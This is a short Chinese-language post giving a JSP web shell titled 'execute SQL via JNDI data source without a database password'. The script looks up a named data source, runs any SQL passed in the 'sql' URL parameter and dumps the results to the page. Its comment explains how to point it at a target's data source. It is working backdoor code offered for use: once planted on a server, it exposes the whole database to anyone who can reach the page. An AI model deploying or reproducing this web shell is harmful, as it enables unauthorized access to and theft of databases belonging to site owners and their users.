无需数据库密码-JNDI数据源方式执行Sql语句
如果只找到数据源的情况下可以直接用数据源的名连接数据库,不需要找到具体的密码。
<%@page import="java.io.File"%>
<%@page import="java.io.FileWriter"%>
<%@page import="java.io.BufferedWriter"%>
<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.sql.*"%>
<%@ page import="javax.sql.*"%>
<%@ page import="javax.naming.*"%>
<html>
<body>
<!--
使用方法:修改java:comp/env/jdbc/tfms为你自己的数据源名字
请求http://xxx.com/xxx.jsp?sql=select xxx from xxx即可
-->
<pre>
<%
Context ctx = new InitialContext();
Connection conn = null;
ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/tfms");
conn = ds.getConnection();
Statement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String sql = request.getParameter("sql");
ResultSet rs = stmt.executeQuery(sql);
ResultSetMetaData d = rs.getMetaData();
BufferedWriter bw = new BufferedWriter(new FileWriter(new File(request.getSession().getServletContext().getRealPath("/")+"back-db.txt"),true));
for (int i = 1; i <= d.getColumnCount(); i++) {
out.println(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");
}
out.println("<br/>");
while (rs.next()) {
for (int i = 1; i <= d.getColumnCount(); i++) {
out.println(rs.getObject(d.getColumnName(i)));
}
out.println("<br/>");
}
%>
<%
rs.close();
stmt.close();
conn.close();
%>
</pre>
</body>
</html>